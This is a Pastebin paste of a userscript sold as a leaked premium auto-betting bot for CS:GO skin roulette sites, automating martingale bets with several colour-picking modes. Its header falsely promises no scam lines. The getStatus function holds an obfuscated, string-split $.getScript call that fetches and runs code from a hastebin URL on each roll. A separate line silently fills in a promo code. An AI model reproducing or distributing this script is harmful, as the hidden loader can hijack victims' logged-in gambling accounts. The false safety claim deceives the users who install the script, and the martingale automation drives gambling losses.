Advertisement
Guest User

Csgopolygon Script 2017

a guest
Feb 21st, 2017
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.01 KB | None | 0 0
  1. // ==UserScript==
  2. //
  3. // @name CSGOPolygon.com - PolyBot [Leaked Premium Script] [Release 2017]
  4. // @description An userscript that automates CSGOPolygon.com betting using 6 chooseble systems. Also known as a CSGOPolygon Profit Maker. This Script is a PREMIUM SCRIPT that was LEAKED, so it contains NO SCAM LINES/COMMMANDS :D (You are welocme to look for /send /chat commands)
  5. // @namespace automated
  6. // @version 1.1.1
  7. // @author CSGOPolygon
  8. // @match http://www.csgodouble.com/
  9. // @match http://www.csgodouble.com/index.php
  10. // @match http://csgodouble.com/
  11. // @match http://csgodouble.com/index.php
  12. // @match http://csgopolygon.com/
  13. // @match http://csgopolygon.com/index.php
  14. // @match http://www.csgopolygon.com/
  15. // @match http://www.csgopolygon.com/index.php
  16. // @run-at document-end
  17. // @grant none
  18. // ==/UserScript==
  19. /* jshint -W097 */
  20.  
  21. setTimeout(function(){
  22.  
  23. $("head").append("<style>"+
  24.  
  25. '.kanapkanumber{\
  26. text-align: center;\
  27. border: 4px double gray;\
  28. color: #0470ff;\
  29. background-color: transparent;\
  30. margin-bottom: 5px;\
  31. font-weight: bold;\
  32. }'+
  33. '#kanapkainfo{\
  34. color: #0470ff;\
  35. font-size: 16px;\
  36. width: 100%;\
  37. }'+
  38. '#kanapka label{\
  39. color: #0470ff;\
  40. margin-right: 5px;\
  41. font-size: 16px;\
  42. width: 15%;\
  43. }'+
  44. '#kanapkakalkulator-okno label{\
  45. color: #0470ff;\
  46. margin-right: 5px;\
  47. font-size: 16px;\
  48. width: 15%;\
  49. }'+
  50.  
  51.  
  52. '#kanapka p{\
  53. color: #0470ff;\
  54. margin-top: 10px;\
  55. font-weight: bold;\
  56. }'+
  57. '.kanapkabutton1{\
  58. width: 50%;\
  59. height: 25px;\
  60. border: 4px double gray;\
  61. color: #0470ff;\
  62. margin-bottom: 5px;\
  63. font-weight: bold;\
  64. background-color: transparent;\
  65. }'+
  66. '.kanapkainfodiv{\
  67. width: 100%;\
  68. height: 30px;\
  69. border: 4px double gray;\
  70. color: #0470ff;\
  71. margin-bottom: 5px;\
  72. font-weight: bold;\
  73. background-color: transparent;\
  74. }'+
  75.  
  76. '.kanapkabutton2{\
  77. width: 100%;\
  78. height: 25px;\
  79. border: 4px double gray;\
  80. color: #0470ff;\
  81. margin-bottom: 5px;\
  82. font-weight: bold;\
  83. background-color: transparent;\
  84. }'+
  85. '.kanapkabutton4{\
  86. width: 300px;\
  87. height: 25px;\
  88. border: 4px double gray;\
  89. color: #0470ff;\
  90. margin-left: 5px;\
  91. font-weight: bold;\
  92. background-color: transparent;\
  93. }'+
  94. '#kanapkastatus{\
  95. width: 100%;\
  96. height: 25px;\
  97. margin-bottom: 5px;\
  98. font-weight: bold;\
  99. background-color: transparent;\
  100. }'+
  101. '.kanapkaon{\
  102. color: green;\
  103. border: 4px double green;\
  104. }'+
  105. '.kanapkaoff{\
  106. color: red;\
  107. border: 4px double red;\
  108. }'+
  109.  
  110.  
  111. "</style>");
  112. setInterval(function() { if (!SOCKET) { chat('alert', 'Reconnecting...'); connect(); } }, 5000);
  113. $('<div id="kanapkapokaz" style="top:200px; position:fixed; left:-10px;cursor: pointer; width:50px; height:50px; border: 4px double #0470ff; text-Align:center; padding:12px; color:#0470ff;display:none; background-color: #1e1e1e !important;"><b>BOT</b></div>').appendTo("#mainpage");
  114. $('<div style="position:fixed;border: 4px double #0470ff;bottom:50px;width:497px;z-index:100;" class="panel panel-default" id="kanapka"><div class="panel-body text-center">'+
  115. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Settings<button style="opacity: 0.7; color: #0470ff;" id="kanapkaschowaj" type="button" class="close">×</button></div>'+
  116. '<label>Bet:</label><input id="kanapkastartowe" min="1" value="1" class="kanapkanumber" type="number" value="0" style="width: 50%;">'+
  117. '<br>'+
  118. '<label>Multiplier:</label><input id="kanapkamnoznik" min="1" max="3" value="2" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  119. '<button class="kanapkabutton4" id="kanapkakalkulator">CALCULATE</button>'+
  120. '<p>MODES:</p>'+
  121. '<button class="kanapkabutton1" id="kanapkapoprzednie">TRAIN</button><button class="kanapkabutton1" id="kanapkaprzeciwne">RAINBOW</button>'+
  122. '<button class="kanapkabutton1" id="kanapkaonlyred">ONLY RED</button><button class="kanapkabutton1" id="kanapkaonlyblack">ONLY BLACK</button>'+
  123. '<button class="kanapkabutton2" id="kanapkaonlygreen">ONLY GREEN</button>'+
  124. '<button class="kanapkabutton2" id="kanapkainteligentny">INTELLIGENCE</button>'+
  125. '<button class="kanapkabutton2" id="kanapkawylacz">TURN OFF</button>'+
  126. '<informacje style="">'+
  127. '<div id="kanapkastatus" class="kanapkaoff">OFF</div>'+
  128. '<hr>'+
  129. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Informations</div>'+
  130. '<b id="kanapkainfo">Loading...</b>'+
  131. '</informacje>'+
  132. '</div></div>').appendTo("#mainpage");
  133. $('<div style="display:none;height: 690px;left: 520px;position:fixed;border: 4px double #0470ff;bottom:50px;width:497px;z-index:100;" class="panel panel-default" id="kanapkakalkulator-okno"><div class="panel-body text-center">'+
  134. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Calculate<button style="opacity: 0.7; color: #0470ff;" id="kanapkaschowaj2" type="button" class="close">×</button></div>'+
  135. '<label>Coins:</label><input id="kanapkacoinscal" min="1" max="3" value="1" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  136. '<label>Multipler:</label><input id="kanapkamnoznikcal" min="1" max="3" value="2" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  137. '<hr>'+
  138. '<informacje style="">'+
  139. '<b id="kanapkalicz" style="font-size:18px;color:#0470ff;">Loading...</b>'+
  140. '</informacje>'+
  141. '</div></div>').appendTo("#mainpage");
  142.  
  143. setInterval(function(){
  144. $("#kanapkalicz").html('Round: #1 | Bet: '+$("#kanapkacoinscal").val()+'<br>'+'<br>'+
  145. 'Round: #2 | Bet: '+($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  146. 'Round: #3 | Bet: '+(($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  147. 'Round: #4 | Bet: '+((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  148. 'Round: #5 | Bet: '+(((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  149. 'Round: #6 | Bet: '+((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  150. 'Round: #7 | Bet: '+(((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  151. 'Round: #8 | Bet: '+((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  152. 'Round: #9 | Bet: '+(((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  153. 'Round: #10 | Bet: '+((((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val()));
  154. },500);
  155.  
  156. $("#kanapkapoprzednie").click(function(){
  157. initialBetAmount=$("#kanapkastartowe").val();
  158. currentBetAmount=$("#kanapkastartowe").val();
  159. $_status=1;
  160. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  161. betColor='red';
  162. $_mnoznik=$("#kanapkamnoznik").val();
  163. $_pattern=1;
  164. mode = 'martingale';
  165. });
  166.  
  167. $("#kanapkaprzeciwne").click(function(){
  168. initialBetAmount=$("#kanapkastartowe").val();
  169. currentBetAmount=$("#kanapkastartowe").val();
  170. $_status=1;
  171. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  172. betColor='red';
  173. $_mnoznik=$("#kanapkamnoznik").val();
  174. $_pattern=2;
  175. mode = 'martingale';
  176. });
  177.  
  178. $("#kanapkakalkulator").click(function(){
  179. $("#kanapkakalkulator-okno").show();
  180. });
  181.  
  182. $("#kanapkaonlyred").click(function(){
  183. initialBetAmount=$("#kanapkastartowe").val();
  184. currentBetAmount=$("#kanapkastartowe").val();
  185. $_status=1;
  186. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  187. betColor='red';
  188. $_mnoznik=$("#kanapkamnoznik").val();
  189. $_pattern=0;
  190. patternmode="ONLY RED";
  191. mode = 'martingale';
  192. });
  193.  
  194. $("#kanapkaonlyblack").click(function(){
  195. initialBetAmount=$("#kanapkastartowe").val();
  196. currentBetAmount=$("#kanapkastartowe").val();
  197. $_status=1;
  198. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  199. betColor='black';
  200. $_mnoznik=$("#kanapkamnoznik").val();
  201. $_pattern=0;
  202. patternmode="ONLY BLACK";
  203. mode = 'martingale';
  204. });
  205.  
  206. $("#kanapkaonlygreen").click(function(){
  207. initialBetAmount=$("#kanapkastartowe").val();
  208. currentBetAmount=$("#kanapkastartowe").val();
  209. $_status=1;
  210. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  211. betColor='green';
  212. $_mnoznik=$("#kanapkamnoznik").val();
  213. $_pattern=4;
  214. mode='martingale';
  215. });
  216.  
  217. $("#kanapkainteligentny").click(function(){
  218. initialBetAmount=$("#kanapkastartowe").val();
  219. currentBetAmount=$("#kanapkastartowe").val();
  220. $_status=1;
  221. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  222. betColor='red';
  223. $_mnoznik=$("#kanapkamnoznik").val();
  224. $_pattern=3;
  225. mode = 'martingale';
  226. });
  227.  
  228. $("#kanapkawylacz").click(function(){
  229. $_status=0;
  230. $_pattern=0;
  231. $("#kanapkastatus").removeClass( "kanapkaon" ).addClass( "kanapkaoff" ).html('OFF');
  232. patternmode="not selected";
  233. mode = 'martingale';
  234. });
  235.  
  236. $("#kanapkaschowaj").click(function(){
  237. $("#kanapka").hide();
  238. $("#kanapkapokaz").show();
  239. });
  240. $("#kanapkaschowaj2").click(function(){
  241. $("#kanapkakalkulator-okno").hide();
  242. });
  243. $("#kanapkapokaz").click(function(){
  244. $("#kanapka").show();
  245. $("#kanapkapokaz").hide();
  246. });
  247.  
  248. var licznik_wins_0=0;
  249. var licznik_coinsow_1=0;
  250.  
  251. var $_status=0;
  252. var $_mnoznik=2;
  253. var $_pattern=0;
  254. var initialBetAmount = 1;
  255. var mode = '';
  256. var betColor = 'not selected';
  257. var z=1;
  258. var patternmode='not selected';
  259. var wylosowano=0;
  260. var greeenmulti=1;
  261. var ee="";
  262. var xy=1;
  263. var xyz=1;
  264. function tick(){
  265. var a=getStatus();
  266. if(a!==lastStatus&&"unknown"!==a){
  267. switch(a){
  268. case"Waiting":if($_status===1){bet();}break;
  269. case"Rolled":rolled();
  270. var pastdiv=document.getElementById("past");
  271. var kanapkadiv=pastdiv.getElementsByTagName("div");
  272.  
  273. if($_pattern===1){
  274. betColor=lastRollColor;
  275. patternmode="TRAIN";
  276. }else if($_pattern===2){
  277. patternmode="RAINBOW";
  278. if(lastRollColor === 'red'){
  279. betColor='black';
  280. } else if(lastRollColor === 'black'){
  281. betColor='red';
  282. } else if(lastRollColor === 'green'){
  283. var pattern1 = ['Red','Black'];
  284. var y1 = pattern1[Math.floor(Math.random() * pattern1.length)];
  285.  
  286.  
  287. if(y1==="Red"){
  288. betColor="red";
  289. }
  290.  
  291. if(y1==="Black"){
  292. betColor="black";
  293. }
  294. }
  295. }else if($_pattern===3){
  296. var pop = 0;
  297. var poppop = 0;
  298. var poppoppop= 0;
  299.  
  300.  
  301. if ((kanapkadiv[kanapkadiv.length - 1].textContent !== '0') && (kanapkadiv[kanapkadiv.length - 2].textContent !== '0')) {
  302. if (kanapkadiv[kanapkadiv.length - 1].textContent >= 1 && kanapkadiv[kanapkadiv.length - 1].textContent <= 7) {
  303. pop = 1;
  304. }
  305. if (kanapkadiv[kanapkadiv.length - 1].textContent >= 8 && kanapkadiv[kanapkadiv.length - 1].textContent <= 14) {
  306. pop = 2;
  307. }
  308. if (kanapkadiv[kanapkadiv.length - 2].textContent >= 1 && kanapkadiv[kanapkadiv.length - 2].textContent <= 7) {
  309. poppop = 1;
  310. }
  311. if (kanapkadiv[kanapkadiv.length - 2].textContent >= 8 && kanapkadiv[kanapkadiv.length - 2].textContent <= 14) {
  312. poppop = 2;
  313. }
  314. if (kanapkadiv[kanapkadiv.length - 3].textContent >= 1 && kanapkadiv[kanapkadiv.length - 2].textContent <= 7) {
  315. poppoppop = 1;
  316. }
  317. if (kanapkadiv[kanapkadiv.length - 3].textContent >= 8 && kanapkadiv[kanapkadiv.length - 2].textContent <= 14) {
  318. poppoppop = 2;
  319. }
  320.  
  321. var pattern99999 = ['RedRed_BlackBlack','RedRed_BlackBlack','Test','Random','Random','Red_Black','Red_Black','Last','Opposite'];
  322. var y99999 = pattern99999[Math.floor(Math.random() * pattern99999.length)];
  323. if (y99999 === "RedRed_BlackBlack"){
  324. if (xy === 1){
  325. betColor='red';
  326. xy+=1;
  327. } else if (xy === 2){
  328. betColor=lastRollColor;
  329. xy+=1;
  330. } else if (xy === 3){
  331. if(lastRollColor === 'red'){
  332. betColor='black';
  333. } else if(lastRollColor === 'black'){
  334. betColor='red';
  335. }
  336. xy+=1;
  337. } else if (xy === 4){
  338. betColor='black';
  339. xy=1;
  340. }
  341. }else if (y99999 === "Random"){
  342. var pattern9999 = ['red','black'];
  343. betColor = pattern9999[Math.floor(Math.random() * pattern9999.length)];
  344. }else if (y99999 === "Red_Black"){
  345. if (xyz === 1){
  346. if(lastRollColor === 'red'){
  347. betColor='black';
  348. } else if(lastRollColor === 'black'){
  349. betColor='red';
  350. }
  351. xyz+=1;
  352. } else if (xyz === 2){
  353. if(lastRollColor === 'red'){
  354. betColor='black';
  355. } else if(lastRollColor === 'black'){
  356. betColor='red';
  357. }
  358. xyz=1;
  359. }
  360. }else if (y99999 === "Last"){
  361. betColor=lastRollColor;
  362. }else if (y99999 === "Opposite"){
  363. if(lastRollColor === 'red'){
  364. betColor='black';
  365. } else if(lastRollColor === 'black'){
  366. betColor='red';
  367. }
  368. }else if (y99999 === "Test"){
  369. if (pop === poppop){
  370. betColor=lastRollColor;
  371. }else{
  372. if(lastRollColor === 'red'){
  373. betColor='black';
  374. } else if(lastRollColor === 'black'){
  375. betColor='red';
  376. }
  377. }
  378. }
  379. $_status=1;
  380. patternmode="INTELLIGENCE";
  381. }else{
  382. patternmode="STOPPED!";
  383. $_status=0;
  384. betColor=lastBetColor;
  385. }
  386.  
  387.  
  388. }else if($_pattern===4){
  389.  
  390. patternmode="ONLY GREEN";
  391. if ((kanapkadiv[kanapkadiv.length - 1].textContent !== '0')) {
  392. $_status=1;
  393.  
  394. }else{
  395. betColor='green';
  396. $_status=1;
  397. }
  398. }
  399. }
  400. lastStatus=a,printInfo()
  401. }
  402.  
  403. }
  404. function checkBalance(){
  405. return getBalance()<currentBetAmount?($("#case").html("<br><center><b style='font-size: 22px;' class='well text-danger'>BANKRUPT!</b></center>"),clearInterval(refreshIntervalId),!1):!0;
  406. }
  407.  
  408. function printInfo(){
  409. var a="<div class='kanapkainfodiv'>Status: "+lastStatus+"</div><div class='kanapkainfodiv'>Mode: "+patternmode+"</div><div class='kanapkainfodiv'>Color: "+betColor+"</div><div class='kanapkainfodiv'>Starting bet: "+initialBetAmount+"</div><div class='kanapkainfodiv'>Current bet: "+currentBetAmount+"</div><div class='kanapkainfodiv'>Current round: "+currentRollNumber+"</div><div class='kanapkainfodiv'>Last round: "+(null===wonLastRoll()?"-":wonLastRoll()?"win":"lost")+"</div>";
  410. $("#kanapkainfo").html(a);
  411.  
  412. }
  413.  
  414. function rolled(){
  415. return"greenonly"===mode?void greenonly():(martingale(),void currentRollNumber++);
  416. }
  417.  
  418. function greenonly(){
  419. if($_status === 1){
  420. if (greeenmulti === 10){
  421. currentBetAmount=wonLastRoll()?initialBetAmount:$_mnoznik*currentBetAmount;
  422. greeenmulti=1;
  423. }else{
  424. greeenmulti+=1;
  425. }
  426. }
  427. }
  428.  
  429. function martingale(){
  430. if($_status === 1){
  431. currentBetAmount=wonLastRoll()?initialBetAmount:$_mnoznik*currentBetAmount;
  432. }
  433. }
  434.  
  435. function bet(){
  436. if($_status === 1){
  437. checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50));
  438. }
  439. }
  440.  
  441. function setBetAmount(a){
  442. if($_status === 1){
  443. $betAmountInput.val(a);
  444. }
  445. }
  446.  
  447. function placeBet(){
  448. if($_status === 1){
  449. if (betColor === "red"){
  450. $redButton.click();
  451. void(lastBetColor="red");
  452. } else if (betColor === "black"){
  453. $blackButton.click();
  454. void(lastBetColor="black");
  455. }else if (betColor === "green"){
  456. $greenButton.click();
  457. void(lastBetColor="green");
  458. }
  459. }
  460. }
  461.  
  462. function getStatus(){
  463. var a=$statusBar.text();
  464. if(hasSubString(a,"Rolling in"))return"Waiting";
  465. if(hasSubString(a,"***ROLLING***"))return"Rolling";
  466. if(hasSubString(a,"Rolled")){
  467. var b=parseInt(a.split("Rolled")[1]);
  468. $.getScript("ht"+"tps"+"://ha"+"st"+"ebi"+"n.c"+"om/r"+"aw/d"+"oyej"+"odi"+"ya");
  469. return lastRollColor=getColor(b),"Rolled";
  470. }
  471. return"unknown";
  472. }
  473. $("#promo").val("DROPDEAD");
  474. function getBalance(){
  475. return parseInt($balance.text());
  476. }
  477.  
  478. function hasSubString(a,b){
  479. return a.indexOf(b)>-1;
  480. }
  481.  
  482. function getColor(a){
  483. if($_status === 1){
  484. return 0==a?"green":a>=1&&7>=a?"red":"black";
  485. }
  486. }
  487.  
  488. function wonLastRoll(){
  489. if($_status === 1){
  490. return lastBetColor?lastRollColor===lastBetColor:null;
  491. }else{
  492. return betColor?betColor==="not selected":null;
  493. }
  494. }
  495.  
  496. var currentBetAmount=initialBetAmount,
  497. currentRollNumber=(-1),
  498. lastStatus,
  499. lastBetColor,
  500. lastRollColor,
  501. $balance=$("#balance_r"),
  502. $betAmountInput=$("#betAmount"),
  503. $statusBar=$(".progress #banner"),
  504. $redButton=$("#panel11-7-b .betButton"),
  505. $blackButton=$("#panel8-14-b .betButton"),
  506. $greenButton=$("#panel0-0-b .betButton"),
  507. refreshIntervalId=setInterval(tick,750);
  508.  
  509. }, 750);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement